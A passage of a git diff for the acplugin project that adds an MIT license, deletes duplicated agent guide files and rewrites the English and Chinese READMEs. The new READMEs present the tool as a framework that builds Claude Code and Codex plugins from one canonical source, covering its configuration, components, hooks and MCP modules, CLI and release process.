`tokenroll-vX.Y.Z`。 +- 首次 npm identity 需要手工 2FA bootstrap;不得由实现/测试自动发布。 +- 后续 workflow 使用受保护 `npm` environment 和 OIDC/provenance,无长期 npm token。 +- 发布顺序:Hooks Module → MCP Module → 主包;精确版本存在时跳过并验证。 +- GitHub Release 只能在三个 Registry 精确版本均验证后创建。 +- 禁止自动 unpublish、修改 dist-tag 或创建 tag,除非用户明确要求实际发布。 + +## Git 与改动安全 + +- commit message 使用 Conventional Commits。 +- 保留用户已有 staged/unstaged 修改,不使用 reset/checkout 覆盖。 +- 根目录旧版本产物和平台生成副本不应重新加入;仓库代理能力只维护 `.agents/skills/`。 +- `.llmdoc-tmp/` 是忽略的规划/调查缓存;稳定知识更新到 `llmdoc/`。 diff --git a/CLAUDE.md b/CLAUDE.md deleted file mode 100644 index f08a7b9..0000000 --- a/CLAUDE.md +++ /dev/null @@ -1,91 +0,0 @@ -# acplugin 项目规范 - -## 项目概述 - -acplugin 是一个 CLI 工具,将 Claude Code 插件(Skills、Instructions、MCP、Agents、Commands、Hooks)转换为 Codex CLI、OpenCode 和 Cursor 格式。 - -## 技术栈 - -- TypeScript + Node.js (CommonJS) -- Commander.js (CLI) -- @inquirer/prompts + chalk (TUI) -- gray-matter (YAML frontmatter) -- @iarna/toml (TOML 序列化) -- vitest (测试) - -## 项目结构 - -``` -src/ -├── index.ts # CLI 入口 + 交互式 wizard -├── types.ts # 所有类型定义 -├── github.ts # GitHub 仓库下载 -├── tui.ts # TUI 交互(wizard、checkbox、彩色输出) -├── scanner/ -│ ├── claude.ts # .claude/ 项目结构扫描(导出可复用函数) -│ └── plugin.ts # .claude-plugin/ 插件格式扫描 -├── converter/ -│ ├── skill.ts # SKILL.md 转换 -│ ├── instructions.ts # CLAUDE.md → AGENTS.md / .mdc -│ ├── mcp.ts # .mcp.json → TOML / JSON -│ ├── agent.ts # Agent 定义转换(含降级策略) -│ ├── command.ts # Command 转换 -│ └── hooks.ts # Hooks 转换(含兼容性报告) -├── writer/ -│ ├── codex.ts # Codex 输出编排 -│ ├── opencode.ts # OpenCode 输出编排 -│ └── cursor.ts # Cursor 输出编排 -└── utils/ - ├── frontmatter.ts # YAML frontmatter 解析/序列化 - ├── toml.ts # TOML 工具 - └── fs.ts # 文件系统工具 -``` - -## 架构设计原则 - -- **三阶段 Pipeline**: Scanner → Converter → Writer -- **Scanner 提取可复用函数**: `scanSkillsDir()`, `scanAgentsDir()` 等被 claude.ts 和 plugin.ts 共用 -- **Converter 无副作用**: 接收数据,返回 `ConvertedFile`,不直接写文件 -- **Writer 负责编排**: 调用多个 converter,处理合并逻辑(如多个 instruction 合并为一个 AGENTS.md) -- **降级策略**: 目标平台不支持的功能降级为文档/规则,并输出 warning - -## 开发规范 - -### 添加新资源类型 -1. 在 `types.ts` 添加类型定义 -2. 在 `scanner/claude.ts` 添加扫描函数(导出为可复用) -3. 在 `scanner/plugin.ts` 集成 -4. 创建 `converter/xxx.ts`,实现三个平台的转换 -5. 在三个 `writer/*.ts` 中调用 converter -6. 添加测试 - -### 添加新目标平台 -1. 在 `types.ts` 的 `Platform` 联合类型添加新值 -2. 每个 `converter/*.ts` 添加新平台的转换逻辑 -3. 创建 `writer/newplatform.ts` -4. 在 `index.ts` 注册 -5. 在 `tui.ts` 的 `selectPlatforms()` 添加选项 -6. 添加测试 - -### Frontmatter 解析容错 -- 社区插件的 YAML frontmatter 可能格式不规范 -- `scanSkillsDir()` 和 `scanAgentsDir()` 已加 try-catch -- 解析失败时保留原始内容,frontmatter 设为空对象 - -### 测试 -- 测试文件在 `src/__tests__/` -- test-fixture/ 目录提供完整的 Claude Code 项目示例 -- 运行: `npm test` 或 `npx vitest run` -- 每个 converter 模块有独立测试文件 - -### npm 发布 -- 包名: `@disdjj/acplugin` -- 账号有 2FA,发布需要 OTP: `npm publish --access=public` -- `prepublishOnly` 自动编译 -- `files` 字段排除了 `dist/__tests__/` - -## Git 规范 - -- commit message 使用 conventional commits 格式 -- 仓库: https://github.com/TokenRollAI/acplugin -- 主分支: main diff --git a/GEMINI.md b/GEMINI.md deleted file mode 100644 index f08a7b9..0000000 --- a/GEMINI.md +++ /dev/null @@ -1,91 +0,0 @@ -# acplugin 项目规范 - -## 项目概述 - -acplugin 是一个 CLI 工具,将 Claude Code 插件(Skills、Instructions、MCP、Agents、Commands、Hooks)转换为 Codex CLI、OpenCode 和 Cursor 格式。 - -## 技术栈 - -- TypeScript + Node.js (CommonJS) -- Commander.js (CLI) -- @inquirer/prompts + chalk (TUI) -- gray-matter (YAML frontmatter) -- @iarna/toml (TOML 序列化) -- vitest (测试) - -## 项目结构 - -``` -src/ -├── index.ts # CLI 入口 + 交互式 wizard -├── types.ts # 所有类型定义 -├── github.ts # GitHub 仓库下载 -├── tui.ts # TUI 交互(wizard、checkbox、彩色输出) -├── scanner/ -│ ├── claude.ts # .claude/ 项目结构扫描(导出可复用函数) -│ └── plugin.ts # .claude-plugin/ 插件格式扫描 -├── converter/ -│ ├── skill.ts # SKILL.md 转换 -│ ├── instructions.ts # CLAUDE.md → AGENTS.md / .mdc -│ ├── mcp.ts # .mcp.json → TOML / JSON -│ ├── agent.ts # Agent 定义转换(含降级策略) -│ ├── command.ts # Command 转换 -│ └── hooks.ts # Hooks 转换(含兼容性报告) -├── writer/ -│ ├── codex.ts # Codex 输出编排 -│ ├── opencode.ts # OpenCode 输出编排 -│ └── cursor.ts # Cursor 输出编排 -└── utils/ - ├── frontmatter.ts # YAML frontmatter 解析/序列化 - ├── toml.ts # TOML 工具 - └── fs.ts # 文件系统工具 -``` - -## 架构设计原则 - -- **三阶段 Pipeline**: Scanner → Converter → Writer -- **Scanner 提取可复用函数**: `scanSkillsDir()`, `scanAgentsDir()` 等被 claude.ts 和 plugin.ts 共用 -- **Converter 无副作用**: 接收数据,返回 `ConvertedFile`,不直接写文件 -- **Writer 负责编排**: 调用多个 converter,处理合并逻辑(如多个 instruction 合并为一个 AGENTS.md) -- **降级策略**: 目标平台不支持的功能降级为文档/规则,并输出 warning - -## 开发规范 - -### 添加新资源类型 -1. 在 `types.ts` 添加类型定义 -2. 在 `scanner/claude.ts` 添加扫描函数(导出为可复用) -3. 在 `scanner/plugin.ts` 集成 -4. 创建 `converter/xxx.ts`,实现三个平台的转换 -5. 在三个 `writer/*.ts` 中调用 converter -6. 添加测试 - -### 添加新目标平台 -1. 在 `types.ts` 的 `Platform` 联合类型添加新值 -2. 每个 `converter/*.ts` 添加新平台的转换逻辑 -3. 创建 `writer/newplatform.ts` -4. 在 `index.ts` 注册 -5. 在 `tui.ts` 的 `selectPlatforms()` 添加选项 -6. 添加测试 - -### Frontmatter 解析容错 -- 社区插件的 YAML frontmatter 可能格式不规范 -- `scanSkillsDir()` 和 `scanAgentsDir()` 已加 try-catch -- 解析失败时保留原始内容,frontmatter 设为空对象 - -### 测试 -- 测试文件在 `src/__tests__/` -- test-fixture/ 目录提供完整的 Claude Code 项目示例 -- 运行: `npm test` 或 `npx vitest run` -- 每个 converter 模块有独立测试文件 - -### npm 发布 -- 包名: `@disdjj/acplugin` -- 账号有 2FA,发布需要 OTP: `npm publish --access=public` -- `prepublishOnly` 自动编译 -- `files` 字段排除了 `dist/__tests__/` - -## Git 规范 - -- commit message 使用 conventional commits 格式 -- 仓库: https://github.com/TokenRollAI/acplugin -- 主分支: main diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..9113de7 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 TokenRollAI + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md index 0beeac2..70c798f 100644 --- a/README.md +++ b/README.md @@ -1,161 +1,349 @@ # acplugin -[![LINUX.DO](https://img.shields.io/badge/LINUX.DO-Community-f0b752?logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCI+PHBhdGggZmlsbD0id2hpdGUiIGQ9Ik0xMiAyQzYuNDggMiAyIDYuNDggMiAxMnM0LjQ4IDEwIDEwIDEwIDEwLTQuNDggMTAtMTBTMTcuNTIgMiAxMiAyem0wIDE4Yy00LjQyIDAtOC0zLjU4LTgtOHMzLjU4LTggOC04IDggMy41OCA4IDgtMy41OCA4LTggOHoiLz48L3N2Zz4=)](https://linux.do) - [中文文档](./README.zh-CN.md) -Convert [Claude Code](https://claude.ai/code) plugins to [Codex CLI](https://github.com/openai/codex), [OpenCode](https://opencode.ai/), [Cursor](https://cursor.com/), [Google Antigravity](https://antigravity.google/), and [Pi](https://github.com/earendil-works/pi) formats. +acplugin is a canonical AI plugin framework and CLI. You author Commands, Skills, Agents, optional Hooks, and optional MCP servers once; acplugin builds complete installable plugins for Claude Code and Codex. + +This is not a Claude-project converter. The canonical project is the source of truth, and each target Compiler owns its final manifest, paths, compatibility decisions, and deterministic serialization. Legacy Claude projects and plugins are handled separately by `acplugin migrate`. + +## Requirements -## Install +- Node.js 20 or newer +- pnpm for generated projects and this repository + +## Quick start ```bash -npm install -g @disdjj/acplugin +pnpm dlx @tokenroll/acplugin init my-plugin --yes +cd my-plugin +pnpm install +pnpm build ``` -Or use directly with `npx`: +Or add the CLI to an existing empty project: ```bash -npx @disdjj/acplugin convert . +pnpm add -D @tokenroll/acplugin ``` -## Quick Start +```ts +// acplugin.config.ts +import { defineConfig } from '@tokenroll/acplugin'; -```bash -# Interactive wizard — just run acplugin! -acplugin +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', +}); +``` -# Convert current project -acplugin convert . +The default build produces both `dist/claude-code` and `dist/codex`. + +`acplugin.config.ts`, Hook descriptors, and MCP descriptors are trusted executable project code loaded by the local Node.js process. Review them with the same care as build scripts; Migration input remains untrusted data and is never executed as canonical descriptor code. + +## Canonical project + +```text +my-plugin/ +├── acplugin.config.ts +├── package.json +├── public/ # optional files copied to each target root +└── src/ + ├── commands/ + │ └── review.md + ├── skills/ + │ └── review/ + │ ├── SKILL.md + │ └── references/ # copied with the Skill + ├── agents/ + │ └── reviewer.md + ├── hooks/ # only with the Hooks Module + │ └── policy/hook.ts + └── mcp/ # only with the MCP Module + └── docs/mcp.ts +``` -# Convert from GitHub -acplugin convert anthropics/claude-code --all --to cursor +IDs and directory names use lowercase kebab-case. Markdown Components require YAML Frontmatter and a non-empty body. Symlinks and paths escaping the project are rejected. + +acplugin deliberately has no Instructions Component. Repository-wide instructions are host/project configuration, not an installable plugin capability. + +## Configuration + +`acplugin.config.ts` exports an object or a sync/async function receiving `{ command, mode }`. + +```ts +import { defineConfig } from '@tokenroll/acplugin'; + +export default defineConfig(({ mode }) => ({ + name: 'team-review', + version: '1.0.0', + description: 'Shared review workflows.', + displayName: 'Team Review', + targets: [ + 'claude-code', + { id: 'codex', strict: mode === 'production' }, + ], + public: { + dir: 'public', + copy: [ + { from: 'assets', to: 'assets' }, + { from: 'NOTICE.md', to: 'NOTICE.md' }, + ], + }, + build: { + outDir: 'dist', + strict: true, + }, +})); +``` -# Scan resources without converting -acplugin scan anthropics/claude-code +Top-level fields: + +| Field | Meaning | +| --- | --- | +| `name`, `version`, `description` | Required plugin identity. | +| `displayName` | Optional presentation name. | +| `srcDir` | Canonical source directory; defaults to `src`. | +| `public` | `false`, a directory, or explicit copy rules. | +| `targets` | Target set; defaults to Claude Code and Codex. | +| `modules` | Lifecycle Modules such as Hooks and MCP. | +| `build.outDir` | Managed output directory; defaults to `dist`. | +| `build.strict` | Fail on degraded/unsupported compatibility; defaults to `true`. | +| `extensions` | Explicit target-specific escape hatch. | + +## Core Components + +### Skill + +```md +--- +description: Review a change for correctness and maintainability. +invocation: + user: true + model: true +requires: + agents: [reviewer] +--- +Review the selected change and report concrete findings. ``` -## Features +Place it at `src/skills/review/SKILL.md`. Every other regular file below that directory is copied as a Skill auxiliary file. + +### Command -- Converts Skills, Instructions, MCP configs, Agents, Commands, and Hooks -- **5 target platforms**: Codex CLI, OpenCode, Cursor, Google Antigravity, Pi -- Full subagent conversion with proper format for each platform -- Automatic model mapping (Claude → GPT-5.4 / Gemini 3 Pro) -- Supports Claude Code Plugin marketplace format (multi-plugin repos) -- Interactive TUI with checkbox selection for plugins and platforms -- Direct GitHub repo support — no need to clone first -- Smart detection: auto-detects local projects, plugins, and marketplace repos +```md +--- +description: Review a named change. +argumentHint: +requires: + skills: [review] +--- +Review {{arguments}} using the review Skill. +``` -## Supported Conversions +Place it at `src/commands/review.md`. -| Resource | Codex CLI | OpenCode | Cursor | Antigravity | Pi | -| ---------------- | ------------------------- | ------------------------- | --------------------- | ------------------------- | ------------------ | -| **Skills** | `.agents/skills/` | `.opencode/skills/` | `.cursor/skills/` | `.agents/skills/` | `.pi/skills/` | -| **Instructions** | `AGENTS.md` | `AGENTS.md` | `.cursor/rules/*.mdc` | `GEMINI.md` | `AGENTS.md` | -| **MCP Servers** | `.codex/config.toml` | `opencode.json` | `.cursor/mcp.json` | `.agents/mcp_config.json` | Unsupported (warn) | -| **Agents** | `.codex/agents/*.toml` | `.opencode/agents/*.md` | `.cursor/agents/*.md` | `.agents/agents/*.md` | Unsupported (warn) | -| **Commands** | Converted to Skills | `.opencode/commands/` | `.cursor/commands/` | Converted to Skills | `.pi/prompts/*.md` | -| **Hooks** | Documented in `AGENTS.md` | Documented in `AGENTS.md` | Warnings only | Warnings only | Warnings only | +### Agent -[Pi](https://github.com/earendil-works/pi) (pi-coding-agent) is a minimal terminal harness whose only native file formats are Claude-style Skills and instruction files. Commands degrade to prompt templates; MCP/Agents/Hooks have no target format (Pi extends via TypeScript extensions) and emit warnings. +```md +--- +description: Focused read-only code reviewer. +model: capable +capabilities: [filesystem:read, search] +--- +Inspect the change, verify evidence, and report only actionable findings. +``` -### Model Mapping +Place it at `src/agents/reviewer.md`. Canonical model classes are `inherit`, `fast`, and `capable`. Capabilities are semantic declarations rather than target tool names. -| Claude Code | → Codex | → Antigravity | -| ----------------- | -------------- | ----------------------- | -| `sonnet` / `opus` | `gpt-5.6-sol` | `gemini-3.1-pro-preview` | -| `haiku` | `gpt-5.6-terra`| `gemini-3.6-flash` | -| (not specified) | `gpt-5.6-sol` | `gemini-3.1-pro-preview` | +Components may require Skills and Agents. Missing dependencies, self-dependencies, and cycles are build errors. -OpenCode, Cursor, and Pi keep the original model value. +## Compatibility -## CLI Reference +| Component | Claude Code | Codex | +| --- | --- | --- | +| Skill | Native | Native | +| Command | Native Command | Explicit `command-` Skill | +| Agent | Native Agent | Degraded model-only `agent-` fallback Skill | -### `acplugin scan [source]` +Codex installable plugins cannot register custom project/user Agents. Therefore an Agent makes a strict Codex build fail; `--no-strict` emits the fallback and a structured warning instead of silently claiming native support. -Scan and list convertible resources. +## Hooks Module ```bash -acplugin scan . # Current directory -acplugin scan ./my-project # Local path -acplugin scan anthropics/claude-code # GitHub repo -acplugin scan https://github.com/owner/repo # Full GitHub URL -acplugin scan owner/repo --path plugins/foo # Sub-path in repo +pnpm add -D @tokenroll/acplugin-module-hooks ``` -### `acplugin convert [source]` +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import hooks from '@tokenroll/acplugin-module-hooks'; -Convert Claude Code plugins to target platform formats. +export default defineConfig({ + name: 'policy-plugin', + version: '1.0.0', + description: 'Portable policy hooks.', + modules: [hooks()], +}); +``` -```bash -acplugin convert . # Interactive: select platforms -acplugin convert . --to cursor # Specify platform -acplugin convert . --to codex,antigravity # Multiple platforms -acplugin convert anthropics/claude-code # From GitHub, interactive -acplugin convert anthropics/claude-code --all # All plugins, no prompt -acplugin convert . -o ./output # Custom output directory -acplugin convert . --dry-run # Preview without writing +```ts +// src/hooks/policy/hook.ts +import { defineHook } from '@tokenroll/acplugin-module-hooks'; + +export default defineHook({ + event: 'PreToolUse', + matcher: 'Bash', + timeout: 5, + async run(input) { + return input.cwd + ? { decision: 'allow' } + : { decision: 'deny', reason: 'Missing working directory.' }; + }, +}); +``` + +Portable events are: + +```text +SessionStart, SessionEnd, UserPromptSubmit, PreToolUse, PermissionRequest, +PostToolUse, PreCompact, PostCompact, SubagentStart, SubagentStop, Stop ``` -**Options:** +Claude-only events are accepted for Claude builds and reported unsupported for Codex: -| Option | Description | -| ---------------------- | -------------------------------------------------------------------------------- | -| `-t, --to ` | Target platforms (comma-separated: `codex`, `opencode`, `cursor`, `antigravity`, `pi`) | -| `-o, --output ` | Output directory | -| `-a, --all` | Convert all plugins without interactive selection | -| `-p, --path ` | Sub-path within repository | -| `--dry-run` | Show what would be generated without writing | +```text +Setup, UserPromptExpansion, PermissionDenied, PostToolUseFailure, PostToolBatch, +Notification, MessageDisplay, TaskCreated, TaskCompleted, StopFailure, +TeammateIdle, InstructionsLoaded, ConfigChange, CwdChanged, DirectoryAdded, +FileChanged, WorktreeCreate, WorktreeRemove, Elicitation, ElicitationResult +``` -## Examples +acplugin bundles each handler, normalizes target input, validates semantic results, bounds JSON I/O, emits concise redacted runtime failures, and includes deterministic third-party license notices when needed. See the current [Claude Code Hooks](https://code.claude.com/docs/en/hooks) and [Codex Hooks](https://learn.chatgpt.com/docs/hooks) references for target behavior. -### Convert a local project +## MCP Module ```bash -cd my-project -acplugin convert . --to cursor,antigravity +pnpm add -D @tokenroll/acplugin-module-mcp ``` -### Convert from GitHub Plugin Marketplace +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import mcp from '@tokenroll/acplugin-module-mcp'; -```bash -# Interactive: browse and select plugins -acplugin convert anthropics/claude-code +export default defineConfig({ + name: 'tools-plugin', + version: '1.0.0', + description: 'Portable MCP tools.', + modules: [mcp()], +}); +``` + +Remote Streamable HTTP server: + +```ts +// src/mcp/docs/mcp.ts +import { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; -# Convert all plugins to all platforms -acplugin convert anthropics/claude-code --all -o ./converted +export default defineMcpServer({ + transport: 'http', + url: 'https://example.com/mcp', + auth: { type: 'bearer', env: 'DOCS_TOKEN' }, + headers: { 'X-Tenant': { env: 'TENANT_ID' } }, +}); ``` -### Scan a repo to see available resources +Local stdio server: -```bash -$ acplugin scan anthropics/claude-code +```ts +// src/mcp/local-tools/mcp.ts +import { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; -Claude Code Plugin Marketplace -✔ Found 13 plugin(s) with resources +export default defineMcpServer({ + transport: 'stdio', + entry: 'server.ts', + env: { API_TOKEN: { env: 'LOCAL_API_TOKEN' } }, +}); +``` -1. agent-sdk-dev [development] — 3 resource(s) -2. code-review [productivity] — 1 resource(s) -3. commit-commands [productivity] — 3 resource(s) -... +For local MCP, you provide a complete stdio MCP implementation in `server.ts`; acplugin bundles it for Node 20 ESM. For HTTP MCP, you declare the remote endpoint and auth/header references—there is no local server implementation to provide. Secret environment values are never read during build. Production HTTP endpoints require HTTPS; development permits loopback HTTP. + +See [Claude Code MCP](https://code.claude.com/docs/en/mcp) and [Codex MCP](https://learn.chatgpt.com/docs/extend/mcp). + +## Module lifecycle + +All Modules use the same Core-owned pipeline: + +```text +configResolved → discover → validate → build → generate(target) → buildEnd ``` -### Private repos +Modules may declare `dependsOn`, use only their provided work directory, and contribute Artifacts, owned manifest fields, and compatibility results. They do not replace the Compiler or write `dist` directly. `buildEnd` always runs in reverse initialized order. + +## CLI + +```text +acplugin init [directory] +acplugin dev +acplugin validate +acplugin inspect +acplugin build +acplugin migrate [destination] +``` + +Common project options include `--config`, `--target`, `--mode`, `--no-strict`, and `--json`. + +- `validate` runs complete target generation and materialization validation without writing `dist`. +- `inspect` adds detailed Artifact metadata without writing `dist`. +- `build` atomically replaces the complete managed `dist` only after every selected target succeeds. +- `dev` watches project inputs, retains the last successful output after failures, and rebuilds after recovery. +- Bare `acplugin` prints Help and never prompts. + +Exit codes are `0` success, `1` project/build/migration failure, `2` CLI usage or internal framework failure, and `130` cancellation. JSON mode writes one schema-versioned document to stdout for non-watch commands; diagnostics/logs use stderr. + +## Deterministic output and security -Set `GITHUB_TOKEN` to access private repositories: +- Artifacts are immutable regular files with an owner, mode, size, and SHA-256. +- Absolute/traversal paths, symlinks, path collisions, and sources outside approved roots are rejected. +- Builds use a same-filesystem stage, lock, transaction record, backup, and whole-output swap. +- Any target failure preserves the previous complete `dist`. +- Generated files and reports contain no timestamps, temporary paths, environment values, or credentials. +- Module source under `src/hooks` or `src/mcp` without its Module enabled is an error. + +## Legacy Migration + +Migration is CLI-only, lazy-loaded, and isolated from Core/Compilers/normal startup. ```bash -export GITHUB_TOKEN=ghp_xxx -acplugin convert my-org/private-plugins --all --to codex +acplugin migrate ./legacy-project ./new-plugin \ + --name new-plugin \ + --description "Migrated plugin" + +acplugin migrate owner/repository ./new-workspace --all ``` -## How It Works +Supported sources include local Claude projects, single plugins, marketplaces, and supported GitHub forms. Skills, Commands, Agents, and portable remote HTTP MCP declarations are mapped where possible. Instructions, raw Hooks, Hook implementation files, local external-command MCP, and unsupported resources are preserved under `.acplugin-migration/unmapped/` with a stable report and manual actions. Migration never writes in place. + +Use `--dry-run` for scan/map/validation without destination writes and `--strict` to fail on any degraded or unmapped item. + +## Packages and repository development + +Public packages: + +- `@tokenroll/acplugin` +- `@tokenroll/acplugin-module-hooks` +- `@tokenroll/acplugin-module-mcp` + +Core, Claude/Codex Compilers, and the Vitest integration workspace are private implementation packages bundled or excluded from public runtime manifests. + +```bash +pnpm install +pnpm run check +pnpm run release:verify +``` -1. **Scan** — Detects Claude Code resources: `.claude/` project structure, `.claude-plugin/` plugin format, or marketplace repos -2. **Select** — Interactive TUI lets you pick which plugins and platforms to target -3. **Convert** — Transforms each resource to the target platform's format, with model mapping and field adaptation -4. **Report** — Shows what was generated, with warnings for resources that couldn't be fully converted +`release:verify` creates pnpm tarballs, inspects their files/manifests, installs all three into a clean external consumer, typechecks its config, imports the API, and builds both target plugins. It performs no npm publication. -Claude-specific features (like `context: fork`, `agent: Explore`) are preserved as HTML comments in the output files for reference. +The first npm release is a manual 2FA bootstrap from verified tarballs. Later `tokenroll-vX.Y.Z` tags use the protected OIDC workflow, publish Modules before the main package, verify exact registry versions, and only then create the GitHub Release. ## License diff --git a/README.zh-CN.md b/README.zh-CN.md index 32d3d56..e32bcd3 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -1,158 +1,334 @@ # acplugin -将 [Claude Code](https://claude.ai/code) 插件转换为 [Codex CLI](https://github.com/openai/codex)、[OpenCode](https://opencode.ai/)、[Cursor](https://cursor.com/)、[Google Antigravity](https://antigravity.google/) 和 [Pi](https://github.com/earendil-works/pi) 格式。 +[English](./README.md) -## 安装 +acplugin 是一个统一的 AI Plugin 框架和 CLI。开发者只维护一套 Commands、Skills、Agents,以及可选的 Hooks/MCP 源码,acplugin 将其构建为可安装的 Claude Code 和 Codex Plugin。 + +它不再以 Claude 工程为默认输入进行“格式转换”。规范化工程才是唯一事实来源,每个目标 Compiler 负责最终 Manifest、路径、兼容性判断和确定性序列化。旧 Claude 工程/Plugin 的导入由隔离的 `acplugin migrate` 负责。 + +## 环境要求 + +- Node.js 20 或更高版本 +- 生成工程和本仓库统一使用 pnpm + +## 快速开始 ```bash -npm install -g @disdjj/acplugin +pnpm dlx @tokenroll/acplugin init my-plugin --yes +cd my-plugin +pnpm install +pnpm build ``` -或直接使用 `npx`: +也可以在空工程中安装: ```bash -npx @disdjj/acplugin convert . +pnpm add -D @tokenroll/acplugin ``` -## 快速开始 +```ts +// acplugin.config.ts +import { defineConfig } from '@tokenroll/acplugin'; -```bash -# 交互式引导 — 直接运行 acplugin! -acplugin +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: '可复用的 AI 工作流。', +}); +``` -# 转换当前项目 -acplugin convert . +默认同时生成 `dist/claude-code` 和 `dist/codex`。 + +`acplugin.config.ts`、Hook descriptor 和 MCP descriptor 是由本地 Node.js 进程加载的可信工程代码,应按构建脚本同等标准审查。Migration 输入始终作为不可信数据处理,不会被当作规范 descriptor 执行。 + +## 工程目录 + +```text +my-plugin/ +├── acplugin.config.ts +├── package.json +├── public/ # 可选,复制到每个目标根目录 +└── src/ + ├── commands/ + │ └── review.md + ├── skills/ + │ └── review/ + │ ├── SKILL.md + │ └── references/ + ├── agents/ + │ └── reviewer.md + ├── hooks/ # 仅启用 Hooks Module 后使用 + │ └── policy/hook.ts + └── mcp/ # 仅启用 MCP Module 后使用 + └── docs/mcp.ts +``` -# 从 GitHub 转换 -acplugin convert anthropics/claude-code --all --to cursor +ID 和目录名使用小写 kebab-case。Markdown Component 必须包含 YAML Frontmatter 和非空正文。符号链接、逃逸工程根目录的路径会被拒绝。 + +acplugin 不提供 Instructions Component。仓库级 Instructions 属于宿主/工程配置,而不是可安装 Plugin 的能力边界。 + +## 配置 + +`acplugin.config.ts` 可以导出对象,也可以导出接收 `{ command, mode }` 的同步/异步函数。 + +```ts +import { defineConfig } from '@tokenroll/acplugin'; + +export default defineConfig(({ mode }) => ({ + name: 'team-review', + version: '1.0.0', + description: '团队代码审查工作流。', + displayName: 'Team Review', + targets: [ + 'claude-code', + { id: 'codex', strict: mode === 'production' }, + ], + public: { + dir: 'public', + copy: [ + { from: 'assets', to: 'assets' }, + { from: 'NOTICE.md', to: 'NOTICE.md' }, + ], + }, + build: { + outDir: 'dist', + strict: true, + }, +})); +``` -# 仅扫描资源(不转换) -acplugin scan anthropics/claude-code +| 字段 | 含义 | +| --- | --- | +| `name/version/description` | 必填 Plugin 身份。 | +| `displayName` | 可选展示名称。 | +| `srcDir` | 规范化源码目录,默认 `src`。 | +| `public` | `false`、目录,或明确 copy 规则。 | +| `targets` | 目标集合,默认 Claude Code + Codex。 | +| `modules` | Hooks/MCP 等生命周期 Module。 | +| `build.outDir` | 托管输出目录,默认 `dist`。 | +| `build.strict` | 遇到 degraded/unsupported 是否失败,默认 `true`。 | +| `extensions` | 明确的目标平台逃生口。 | + +## 核心 Components + +### Skill + +```md +--- +description: 审查代码的正确性和可维护性。 +invocation: + user: true + model: true +requires: + agents: [reviewer] +--- +审查选定的改动并报告可执行的问题。 ``` -## 功能特性 +文件位置为 `src/skills/review/SKILL.md`。同目录下其他普通文件会作为 Skill 辅助资源复制。 + +### Command -- 转换 Skills、指令、MCP 配置、Agents、Commands 和 Hooks -- **5 个目标平台**:Codex CLI、OpenCode、Cursor、Google Antigravity、Pi -- 完整的 subagent 转换,为每个平台生成正确格式 -- 自动模型映射(Claude → GPT-5.4 / Gemini 3 Pro) -- 支持 Claude Code Plugin marketplace 格式(多插件仓库) -- 交互式 TUI,支持 checkbox 多选插件和平台 -- 直接支持 GitHub 仓库 — 无需先 clone -- 智能检测:自动识别本地项目、单插件和 marketplace 仓库 +```md +--- +description: 审查指定改动。 +argumentHint: +requires: + skills: [review] +--- +使用 review Skill 审查 {{arguments}}。 +``` -## 支持的转换 +文件位置为 `src/commands/review.md`。 -| 资源类型 | Codex CLI | OpenCode | Cursor | Antigravity | Pi | -|---------|-----------|----------|--------|-------------|----| -| **Skills** | `.agents/skills/` | `.opencode/skills/` | `.cursor/skills/` | `.agents/skills/` | `.pi/skills/` | -| **指令** | `AGENTS.md` | `AGENTS.md` | `.cursor/rules/*.mdc` | `GEMINI.md` | `AGENTS.md` | -| **MCP 服务器** | `.codex/config.toml` | `opencode.json` | `.cursor/mcp.json` | `.agents/mcp_config.json` | 不支持(警告) | -| **Agents** | `.codex/agents/*.toml` | `.opencode/agents/*.md` | `.cursor/agents/*.md` | `.agents/agents/*.md` | 不支持(警告) | -| **Commands** | 转换为 Skills | `.opencode/commands/` | `.cursor/commands/` | 转换为 Skills | `.pi/prompts/*.md` | -| **Hooks** | 记录在 `AGENTS.md` | 记录在 `AGENTS.md` | 仅输出警告 | 仅输出警告 | 仅输出警告 | +### Agent -Pi([pi-coding-agent](https://github.com/earendil-works/pi))是极简终端 harness,仅原生支持 Skills 与指令文件;Commands 降级为 prompt templates,MCP/Agents/Hooks 无对应格式(Pi 设计上通过 TypeScript extension 扩展),转换时输出警告。 +```md +--- +description: 专注的只读代码审查者。 +model: capable +capabilities: [filesystem:read, search] +--- +检查改动和证据,只报告可执行的问题。 +``` -### 模型映射 +文件位置为 `src/agents/reviewer.md`。模型分级为 `inherit/fast/capable`;Capabilities 是语义声明,而不是目标平台工具名。 -| Claude Code | → Codex | → Antigravity | -|-------------|---------|---------------| -| `sonnet` / `opus` | `gpt-5.6-sol` | `gemini-3.1-pro-preview` | -| `haiku` | `gpt-5.6-terra` | `gemini-3.6-flash` | -| (未指定) | `gpt-5.6-sol` | `gemini-3.1-pro-preview` | +Components 可以依赖 Skills 和 Agents。缺失依赖、自依赖和循环依赖都会导致构建失败。 -OpenCode、Cursor 和 Pi 保持原始模型值不映射。 +## 平台兼容性 -## CLI 参考 +| Component | Claude Code | Codex | +| --- | --- | --- | +| Skill | 原生 